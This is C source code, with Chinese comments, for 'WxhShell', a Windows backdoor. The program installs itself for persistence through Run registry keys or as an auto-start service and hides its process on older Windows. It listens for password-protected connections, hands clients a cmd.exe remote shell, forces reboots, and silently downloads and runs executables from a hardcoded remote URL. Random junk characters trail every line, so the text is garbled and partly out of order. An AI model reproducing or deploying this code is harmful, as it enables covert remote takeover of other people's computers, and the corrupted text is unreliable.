    if(Boot(SHUTDOWN)) qh!2dj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Np=IZ npt  
    else { mdW8RsR  
    closesocket(wsh); #y }{ 'rF?  
    ExitThread(0); P)Vm4u 1  
    } |'xVU8  
    break; gf()NfUvRH  
    } M/XxiF  
  // 获取shell !j,LS$tPu  
  case 's': { s)ymm7?  
    CmdShell(wsh); 7{ zkqug  
    closesocket(wsh); 5_@ u Be~  
    ExitThread(0); sBGYgBu!a  
    break; Ly1V@  
  } p.kJNPO\@  
  // 退出 E(F<shT#  
  case 'x': { A` x_M!m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SR@yG:~  
    CloseIt(wsh); 8y5iT?.~vy  
    break; 2`qO'V3Q  
    } Zb<IZ)i#1  
  // 离开 |X/ QSL  
  case 'q': { ,b2YUb]U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7yGc@kJ?  
    closesocket(wsh); j^ VAA\  
    WSACleanup(); _zq"<Q c  
    exit(1); u/3[6MIp  
    break; iO)FZ%?"  
        } 4viP lO  
  } 8C1 'g7A<  
  } RM8p[lfX  
'xi[- -  
  // 提示信息 j3`# v3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gj^JpG  
} `,XCD-R^  
  } \^O#)&5 V  
WVUa:_5{  
  return; 9Ml^\|  
} m%Ah]x;  
AsyJDt'i  
// shell模块句柄 B -XM(C j  
int CmdShell(SOCKET sock) +.gM"JV  
{ RN(>37B3_  
STARTUPINFO si; TxL;qZRY ^  
ZeroMemory(&si,sizeof(si)); ;fLYO6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }!=}g|z#|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R0dIxG%  
PROCESS_INFORMATION ProcessInfo; Uf#.b2]  
char cmdline[]="cmd"; UV}\#86!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UX3 ]cr  
  return 0; /,v>w,  
} wg<UCmfu!  
%$K2$dq5  
// 自身启动模式 "L yMw){  
int StartFromService(void) 34ij5bko_)  
{ Ve,h]/G  
typedef struct 0?hJ!IT;q7  
{ 2%Bq[SMuN  
  DWORD ExitStatus; *k)v#;B  
  DWORD PebBaseAddress; * 7: )k  
  DWORD AffinityMask; bvY'=   
  DWORD BasePriority; !QK ~l  
  ULONG UniqueProcessId; TX7B(JZD  
  ULONG InheritedFromUniqueProcessId; 5ve4u  
}   PROCESS_BASIC_INFORMATION; <xOv0B  
T~B'- >O  
PROCNTQSIP NtQueryInformationProcess; ^fVLM>p<;  
N|cWTbi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >_3+s~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2$8#ePyq*  
P|mV((/m4  
  HANDLE             hProcess; 2 MFGKzO  
  PROCESS_BASIC_INFORMATION pbi; *~b3FLzq  
n3w(zB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?' F>DN  
  if(NULL == hInst ) return 0; "Uy==~  
sU>!sxW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )Ih '0>=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LwDm(gG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &w@~@]  
fAMJFHW  
  if (!NtQueryInformationProcess) return 0; axT-  
r,^}/<*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A#&Q(g\YE  
  if(!hProcess) return 0; ="fq.Tt  
&^WJ:BvA|^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @@$%+XNY  
|~Q`D dkX  
  CloseHandle(hProcess); # 3{g6[Y  
n^O Wz4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DoV<p?U  
if(hProcess==NULL) return 0; HD"Pz}k4  
mQ#E{{:H+  
HMODULE hMod; CS[[TzC=5  
char procName[255]; P $4h_dw  
unsigned long cbNeeded; vwZd@%BO  
B/#tR^R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ofe SGx  
!_{2\ &  
  CloseHandle(hProcess); 4}nsW}jCc  
jn+NX)9  
if(strstr(procName,"services")) return 1; // 以服务启动 _ PC}`Y'&  
=Rnx!E  
  return 0; // 注册表启动 /+pPcK  
} C4V#qhj  
Jz(!eTVs  
// 主模块 =\v./Q-  
int StartWxhshell(LPSTR lpCmdLine) [H#*#v  
{ 7/c[ f  
  SOCKET wsl;  4{2)ZI#  
BOOL val=TRUE; " bHeNWZ  
  int port=0; Wj N0KA  
  struct sockaddr_in door; rx^vh%/ Q!  
v@OyB7}  
  if(wscfg.ws_autoins) Install(); lNV%R(  
MZ_+doN  
port=atoi(lpCmdLine); j!c[$;  
[E_+fT  
if(port<=0) port=wscfg.ws_port; N_jCx*.G  
r Ntc{{3_  
  WSADATA data; {bF95Hs-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m#[tY >Q[b  
;1Kxqp z_i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IT \Pj_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oYWcX9R  
  door.sin_family = AF_INET; [.e Y xZ{=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .HTX7mA3  
  door.sin_port = htons(port); #UN(R  
U'i L|JRF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  .*H0{  
closesocket(wsl); ^/+0L[R  
return 1; 7h?yAgDv~  
} p{:r4!*L  
 o^59kQT  
  if(listen(wsl,2) == INVALID_SOCKET) { =m@5$  
closesocket(wsl); f3h&K}x  
return 1; ;]<{ <czc  
} B!jINOg  
  Wxhshell(wsl); [ e4)"A"  
  WSACleanup(); !x9j~D'C`  
9g" 1WZ!  
return 0; &dSw[C#f  
{},rbQ -  
} zdA:K25"  
=l`xXma  
// 以NT服务方式启动 ],r?]>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "i$uV3d  
{ g%w@v$  
DWORD   status = 0; [kqxC  
  DWORD   specificError = 0xfffffff; S fE^'G\  
W-Cf#o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >/Z#{;kOz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Meh?FW||5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qL^}t_>  
  serviceStatus.dwWin32ExitCode     = 0; v |/IN  
  serviceStatus.dwServiceSpecificExitCode = 0; 0D1yG(ck  
  serviceStatus.dwCheckPoint       = 0; x{io*sY-  
  serviceStatus.dwWaitHint       = 0; x>Ah4a d  
\K 01 F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4+mawyM  
  if (hServiceStatusHandle==0) return; n3{m "h3  
2aUz.k8o  
status = GetLastError(); xh> /bU!>  
  if (status!=NO_ERROR) H[%F o  
{ .kM74X=S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d#T8|#O"  
    serviceStatus.dwCheckPoint       = 0; pt8X.f,iA  
    serviceStatus.dwWaitHint       = 0; r;w_B%9  
    serviceStatus.dwWin32ExitCode     = status; R<mLG $  
    serviceStatus.dwServiceSpecificExitCode = specificError; [|{yr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,eRl Z3T  
    return; 5=Bj?xb$'  
  } r @~T}<I  
@18@[ :d"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ok X\z[X  
  serviceStatus.dwCheckPoint       = 0; lwLK#_5u  
  serviceStatus.dwWaitHint       = 0; 3m4?l ~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bxP>  
}  $J mL)r  
CGg:e:4  
// 处理NT服务事件,比如:启动、停止 e#k9}n^+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PKC``+K i  
{ tBG :ECUL  
switch(fdwControl) ac.O#6&  
{ <Q=ES,M  
case SERVICE_CONTROL_STOP: ]^gD@].  
  serviceStatus.dwWin32ExitCode = 0; L4sN)EI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #s1M>M)  
  serviceStatus.dwCheckPoint   = 0; ^Gv<Xl  
  serviceStatus.dwWaitHint     = 0;  wB5zp  
  { U=XaI%ZM)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !5`}s9hsF_  
  } |dD!@K  
  return; s~/]nz]"J  
case SERVICE_CONTROL_PAUSE: [ H>MeeR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nA F@47Wo  
  break; }p t5.'l  
case SERVICE_CONTROL_CONTINUE: RYE::[O7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mkBQX  
  break; D0i84I`Z%  
case SERVICE_CONTROL_INTERROGATE: Dr`\  
  break; +nuv?QB/  
}; ^&&dO*0{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8tA.d.8  
} (53dl(L?  
* {4cc  
// 标准应用程序主函数 p w>A Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0y;&L63>T  
{ q'(WIv@  
7gVWu"  
// 获取操作系统版本 JF{,;&sj  
OsIsNt=GetOsVer(); Wlg(z%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Sa,N1r  
+"3eh1q[  
  // 从命令行安装 )lw7 W9  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7Wb.(` a<  
*|t]6!aVLS  
  // 下载执行文件 \)M 5o  
if(wscfg.ws_downexe) { =AD/5E,3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T@yH. 4D  
  WinExec(wscfg.ws_filenam,SW_HIDE); J+IW  
} -m|b2g}"3  
e<9nt [  
if(!OsIsNt) { ,o9)ohw  
// 如果时win9x,隐藏进程并且设置为注册表启动 6km u'vw  
HideProc(); K6Gc)jp:b  
StartWxhshell(lpCmdLine); Z$ftG7;P0  
} k2t?e:)3zr  
else SAH\'v0  
  if(StartFromService()) E*w 2yWR  
  // 以服务方式启动 Q|ik\  
  StartServiceCtrlDispatcher(DispatchTable); c<D Yk f  
else WN?T*bz2  
  // 普通方式启动 ]UgA z  
  StartWxhshell(lpCmdLine); nZ bg  
BPG)m,/b  
return 0; $AXz/fGV  
} y:42H tS  
tLvli>y@  
hf?^#=k^  
8^R>y  
=========================================== Qy70/on9  
*z+\yfOO"  
vlPE8U=  
W^Rb~b^?  
`+f\Q2]Z  
0l:5hD,)F  
" J<BdIKCma  
O ,>&w5   
#include <stdio.h> @[FFYVru  
#include <string.h> 7q^/.:wlf  
#include <windows.h> 2ga}d5lu  
#include <winsock2.h> X,fTzkGj  
#include <winsvc.h> -$0S#/)Z  
#include <urlmon.h> <Z__Q  
ZH}NlEn  
#pragma comment (lib, "Ws2_32.lib") sY6'y'a95  
#pragma comment (lib, "urlmon.lib") j |i6/Pk9J  
<+b:  
#define MAX_USER   100 // 最大客户端连接数 ?hmb"^vlG  
#define BUF_SOCK   200 // sock buffer 8;'n.SC{  
#define KEY_BUFF   255 // 输入 buffer d+;wDu   
R:xmcUq} (  
#define REBOOT     0   // 重启 |{ [i M  
#define SHUTDOWN   1   // 关机 ~ZNhU;%YW  
Jzdc'3dq  
#define DEF_PORT   5000 // 监听端口 "_K 6=  
}M7kApb>Y  
#define REG_LEN     16   // 注册表键长度 y2U:( H:l!  
#define SVC_LEN     80   // NT服务名长度 L[bGO|O  
4eEs_R  
// 从dll定义API I;v`o{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l xfdJNb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %PS-nF7v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vj]kJ,j\y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B1M/5cr.  
3k<#;(  
// wxhshell配置信息 (=/F=,w   
struct WSCFG { ,$]q2aL  
  int ws_port;         // 监听端口 |gVO Iq  
  char ws_passstr[REG_LEN]; // 口令 [5VUcXGt*\  
  int ws_autoins;       // 安装标记, 1=yes 0=no PsgzDhRv  
  char ws_regname[REG_LEN]; // 注册表键名 gAj)3T@  
  char ws_svcname[REG_LEN]; // 服务名 $Y`aS^IW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .+Ej%|l%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vO_quQ[.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r$F]e]Ic\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zK 2wLX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 752wK|o0|;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ay_D.gxz  
3CE8+PnT  
}; p4'"Wk8  
!Ia"pNDf  
// default Wxhshell configuration _@N)]!\MgP  
struct WSCFG wscfg={DEF_PORT, kYB <FwwB  
    "xuhuanlingzhe", `0i3"06lr  
    1, 2eU[*x  
    "Wxhshell", Q:gn>/  
    "Wxhshell", B`scuLl3  
            "WxhShell Service", {^W,e ^:  
    "Wrsky Windows CmdShell Service", a<wZv-\Vau  
    "Please Input Your Password: ", Q: O>kCDV  
  1, EKPTDKut  
  "http://www.wrsky.com/wxhshell.exe", 0s|LK  
  "Wxhshell.exe" [M^[61  
    }; _vdxxhJ=P3  
-o_T C  
// 消息定义模块 o# xg:m_py  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HF: T]n,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #( sNk,^Ax  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CS\tCw\Y  
char *msg_ws_ext="\n\rExit."; ;q; C ^l  
char *msg_ws_end="\n\rQuit."; .4<U*Xkt  
char *msg_ws_boot="\n\rReboot..."; LU,"i^T  
char *msg_ws_poff="\n\rShutdown..."; 50ew/fZj|  
char *msg_ws_down="\n\rSave to "; EQJ_$6  
hIQ[:f  
char *msg_ws_err="\n\rErr!"; _IV@^v  
char *msg_ws_ok="\n\rOK!"; uq4s bkP  
: W^\ mH  
char ExeFile[MAX_PATH]; AaYrVf 9!  
int nUser = 0; Gd-.E7CH!  
HANDLE handles[MAX_USER]; {[5L96RH%  
int OsIsNt; KWJgW{{v  
GR ?u?-  
SERVICE_STATUS       serviceStatus; qH Ga  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iW@Vw{|i I  
P5}[*k%DQw  
// 函数声明 Rca Os  
int Install(void); S@xsAib0J  
int Uninstall(void); Z4AAg  
int DownloadFile(char *sURL, SOCKET wsh); G 0QXf  
int Boot(int flag); GoSWH2N  
void HideProc(void); ^ wF@6e7/&  
int GetOsVer(void); Z!-<rajl  
int Wxhshell(SOCKET wsl); '<D`:srV  
void TalkWithClient(void *cs); te*Y]-&I|/  
int CmdShell(SOCKET sock); e#6&uFce  
int StartFromService(void); 2Z`$  
int StartWxhshell(LPSTR lpCmdLine); kE_@5t7O{  
RpXs3=9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,AbKxT f2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (L0 hS'  
lDJd#U'V  
// 数据结构和表定义 Q)6wkY+!  
SERVICE_TABLE_ENTRY DispatchTable[] = bj7MzlGFy  
{ rF'^w56  
{wscfg.ws_svcname, NTServiceMain}, 3 2 1={\X  
{NULL, NULL} OHP3T(Q5  
}; )YnI !v2T  
QK?2E   
// 自我安装 1&% d  
int Install(void) N^Hn9n  
{ siRnH(^ J  
  char svExeFile[MAX_PATH]; lNaez3  
  HKEY key; 64!ame}n+  
  strcpy(svExeFile,ExeFile); @r/Id{pCI  
Vgqvvq<S  
// 如果是win9x系统,修改注册表设为自启动 )"_Ff,9Z!  
if(!OsIsNt) { *H%0Gsk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FU5LY XCs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W. J:.|kt  
  RegCloseKey(key); AY&9JSu 6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V<HOSB7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #0?"J)  
  RegCloseKey(key); ^fE\S5P  
  return 0; 5DkK'tCI9Z  
    } IYfV~+P  
  } )e|$K= D  
} C,|nmlDN  
else { ^ J#?hHz  
o\@ A2r3  
// 如果是NT以上系统,安装为系统服务 I 9{40_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ot@|blVC8  
if (schSCManager!=0) {WYu 0J@  
{ yN9$gfJC^  
  SC_HANDLE schService = CreateService VQy 9Y  
  ( K-2o9No?j`  
  schSCManager, 0a2$P+p  
  wscfg.ws_svcname, er[" NSo  
  wscfg.ws_svcdisp, 'w`SBYQ5  
  SERVICE_ALL_ACCESS, DA+A >5/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i"%JFj_G  
  SERVICE_AUTO_START, t4f (Y,v  
  SERVICE_ERROR_NORMAL, }b_R5U$@@  
  svExeFile, LN@E\wRw{r  
  NULL, hsTFAfa'  
  NULL, mP9cBLz  
  NULL, j>$=SMc  
  NULL, .mvB99P{<  
  NULL b4Ricm  
  ); ruZYehu1W  
  if (schService!=0) L!bfh`  
  { H!unIy|  
  CloseServiceHandle(schService); i{TIm}_\  
  CloseServiceHandle(schSCManager); &u+yM D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `Mg8]H~  
  strcat(svExeFile,wscfg.ws_svcname); q%OcLZ<,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BCBEX&0hk{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o2;(VSKhS  
  RegCloseKey(key); 4=u+ozCG  
  return 0; B3y?.  
    } ~gu=x&{  
  } ,9=gVW{  
  CloseServiceHandle(schSCManager); w+t#Yb\7  
} 1pd 9s8CA  
} -h>Z,-DE6  
~'NX~<m  
return 1; Gx.P ]O3  
} |w=Ec#)t4  
rpUy$qrRc  
// 自我卸载 Z8&4z.6_  
int Uninstall(void) Kb^>X{  
{ J"diFz+20  
  HKEY key; yt. f!"  
bRWIDPh  
if(!OsIsNt) { _~tm7o+js  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <v]z6B@9!  
  RegDeleteValue(key,wscfg.ws_regname); p={Jf}v  
  RegCloseKey(key); 8jRs =I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { St6aYK  
  RegDeleteValue(key,wscfg.ws_regname); ):3MYSqX  
  RegCloseKey(key); haCKv   
  return 0; {1jpLdCbV^  
  } & B}Lo  
} $50\" mo~z  
} >L8?=>>?\  
else { 27m@|M] R  
Q8;#_HE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q%>7L<r  
if (schSCManager!=0) XlVc\?  
{ bMsECA&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &M[MEO`t8  
  if (schService!=0) F$i$a b  
  { Zb."*zL  
  if(DeleteService(schService)!=0) { fmFzW*,E  
  CloseServiceHandle(schService); k=?^){[We  
  CloseServiceHandle(schSCManager); 7Re-5vz R  
  return 0; b4 CF`BG  
  } 6a*83G,k  
  CloseServiceHandle(schService); dByjcTPA  
  } L?8^aG  
  CloseServiceHandle(schSCManager); fp{G|.SA  
} |H W( vA  
} I+|uU g5  
}z wX  
return 1; 3htq[Ren  
} vG~+r<:  
'd/*BjNp)  
// 从指定url下载文件 qp>N^)>  
int DownloadFile(char *sURL, SOCKET wsh) n3$gx,KL  
{ paWxanSt  
  HRESULT hr; hU" F;4p  
char seps[]= "/"; ul@3 Bt  
char *token; (~&w-w3  
char *file; > H BJk:  
char myURL[MAX_PATH]; 'w.}2(  
char myFILE[MAX_PATH]; =We2^W-{  
> aG=T{  
strcpy(myURL,sURL); pDn&V(  
  token=strtok(myURL,seps); u]M\3V.  
  while(token!=NULL) "Zcu[2,  
  { _R^y\1Qu  
    file=token; Blk}I  
  token=strtok(NULL,seps); *~2cG;B"e  
  } 8eJE>g1J  
 ?Vc0)  
GetCurrentDirectory(MAX_PATH,myFILE); JoJukoy}F  
strcat(myFILE, "\\"); (.?ZKL  
strcat(myFILE, file); sn"fK=,#g  
  send(wsh,myFILE,strlen(myFILE),0); BvK QlT  
send(wsh,"...",3,0); ZzcPiTSO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }pawIf4V  
  if(hr==S_OK) zkexei4^<  
return 0; "3}<8 c  
else g^l RG3a  
return 1; OJ1tV% E  
dJD(\a>r.u  
} 6kR\xP]Kr  
8(lR!!=q  
// 系统电源模块 ~3CVxbB^<  
int Boot(int flag) "0Q1qZ  
{ |cd-!iJX-  
  HANDLE hToken; U>F{?PReA?  
  TOKEN_PRIVILEGES tkp; rs]I  
|PP.<ce\-  
  if(OsIsNt) { KX4],B5 +  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |=K_F3aJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b>11h  
    tkp.PrivilegeCount = 1; ;ME)Og  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x({C(Q'O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E[g*O5  
if(flag==REBOOT) { nidr\oFUIn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J7+w4q~cB`  
  return 0; )9L/sKz  
} rs-,0'z,7  
else { wtH~-xSB|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z|N3G E(.@  
  return 0; 7%;_kFRV  
} nwmW.(R4  
  } d@ J a}`  
  else { GP a`e  
if(flag==REBOOT) { :iUF7P1I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #hw>tA6  
  return 0; eu#'SXSC F  
} RU#F8O  
else { zpjqEEY;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z`Z5sj 4{  
  return 0; 3tAU?sV!  
} ej(ikj~j  
} y~ rX l  
<q2?S  
return 1; & E}mX]t  
} 6'-As= iw  
3V<&|  
// win9x进程隐藏模块 |j~lkzPnV  
void HideProc(void) \jU |(DE  
{ gm)@c2?.  
g(E"4M@t!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /)3Lnn{W  
  if ( hKernel != NULL ) f 2YLk  
  { WT\<.Py  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a;AzY'R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MXtkP1A `  
    FreeLibrary(hKernel); {y)s.b~JB  
  } Cb;WZ3HR  
5Wx~ZQZ  
return; F>hZ{   
} #FxPj-3(ix  
o4y']JSN  
// 获取操作系统版本 TFQ!7'xk)  
int GetOsVer(void) GX{XdJD  
{ DGESba\2+  
  OSVERSIONINFO winfo; qoMfSz"(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qQ]]~F  
  GetVersionEx(&winfo); TI|/u$SJ<Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~a9W3b4j  
  return 1; ),}AI/j;zY  
  else c]k*}W3T  
  return 0; V~IIY B7  
} E0n6$5Uc?  
I0'WOV70  
// 客户端句柄模块 (5L-G{4  
int Wxhshell(SOCKET wsl) tz NlJ~E  
{ 08bJCH  
  SOCKET wsh; ,MPB/j^o5!  
  struct sockaddr_in client; 7r# ymQ  
  DWORD myID; 1Tp/MV/>  
y] oaO+  
  while(nUser<MAX_USER) OPJ: XbG  
{ +0wT!DZW\=  
  int nSize=sizeof(client); 4bVO9aUG{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {y=W6uP  
  if(wsh==INVALID_SOCKET) return 1; iSLGwTdLn  
Jb_1LZ) ]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C BYX]  
if(handles[nUser]==0) iRo.RU8>  
  closesocket(wsh); @oP_;G  
else ]va>ex$d  
  nUser++; = {'pUU  
  } 2| iV,uJ&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qVqRf.-\  
aVs(EHF  
  return 0; `A$!]&[~|  
} o Pci66  
%.v{N6  
// 关闭 socket Jq.lT(E8D  
void CloseIt(SOCKET wsh) 1F'1>Bu~  
{ eK_*2=;XRW  
closesocket(wsh); }T^cEfX  
nUser--; '7Nr8D4L  
ExitThread(0); l ASL8O&\  
} D%mXA70  
gJiK+&8I  
// 客户端请求句柄 |'ln?D:&  
void TalkWithClient(void *cs) r[(xj n  
{ D-Vai#Cd  
b i y4 d  
  SOCKET wsh=(SOCKET)cs; `O?TUQGR  
  char pwd[SVC_LEN]; 6Tw#^;q-  
  char cmd[KEY_BUFF]; up3O|lj4  
char chr[1]; anw}w !@U  
int i,j; {CG_P,FO  
<$w?/y/'  
  while (nUser < MAX_USER) { \I-#1M  
PjT=$]  
if(wscfg.ws_passstr) { EpS(o>'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L9Z;:``p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s5.AW8X=?*  
  //ZeroMemory(pwd,KEY_BUFF); l.\re"Q  
      i=0; {qW~"z*  
  while(i<SVC_LEN) { X8dR+xd  
\l"&A  
  // 设置超时 6$a$K,dZ  
  fd_set FdRead; u~ ~R9.  
  struct timeval TimeOut; R+q"_90_  
  FD_ZERO(&FdRead); -7/s]9o'  
  FD_SET(wsh,&FdRead); YCe7<3>J4  
  TimeOut.tv_sec=8; Mypc3  
  TimeOut.tv_usec=0; n,eJ$2!J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S-31-Zjw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {e|*01hE  
ONNpiK-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9Suu-A  
  pwd=chr[0]; x:vu'A  
  if(chr[0]==0xd || chr[0]==0xa) { #po5_dE\*  
  pwd=0; ~^u16z,  
  break; Ftw;Yz  
  } L- pVltX  
  i++; D'Z|}(d&  
    } H/M Au7  
1:NrP'W^  
  // 如果是非法用户,关闭 socket I$Qs;- (  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6:U$w7P0 e  
} t E` cau  
uj%skOD6Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tu{h<Zy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G*S|KH  
>FhK #*Pa  
while(1) { 2^t#6XBk/  
uE[(cko  
  ZeroMemory(cmd,KEY_BUFF); UA[,2MBp  
7iHK_\tn  
      // 自动支持客户端 telnet标准   Auy_K?he]  
  j=0; c4_`Ew^k  
  while(j<KEY_BUFF) { QDpEb=|S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7nbB^2  
  cmd[j]=chr[0]; 0Io'bF  
  if(chr[0]==0xa || chr[0]==0xd) { 7&KT0a*  
  cmd[j]=0; v+jsC`m  
  break; >7!6nF3x,  
  } }SIGPVM  
  j++; h._nK\  
    } 7W6cM%_B  
Q]rD}Ckv-  
  // 下载文件 K1V#cB WO  
  if(strstr(cmd,"http://")) { [1Ydo`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [D5t{[i  
  if(DownloadFile(cmd,wsh)) tbnH,*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #W.vX?-'0  
  else tBTTCwNT%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pfx3C*  
  } I@Xn3oN  
  else { mMMQ|ea  
JT fd#g?I  
    switch(cmd[0]) { nm7;ieMfr  
  R),zl_d_  
